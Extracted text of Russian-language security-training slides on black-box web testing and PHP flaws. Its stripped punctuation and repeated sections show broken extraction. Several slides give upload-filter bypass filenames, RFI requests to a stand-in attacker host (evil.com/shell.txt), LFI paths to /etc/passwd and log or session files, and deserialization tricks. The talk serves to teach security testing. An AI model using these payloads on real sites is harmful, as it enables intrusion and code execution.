header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
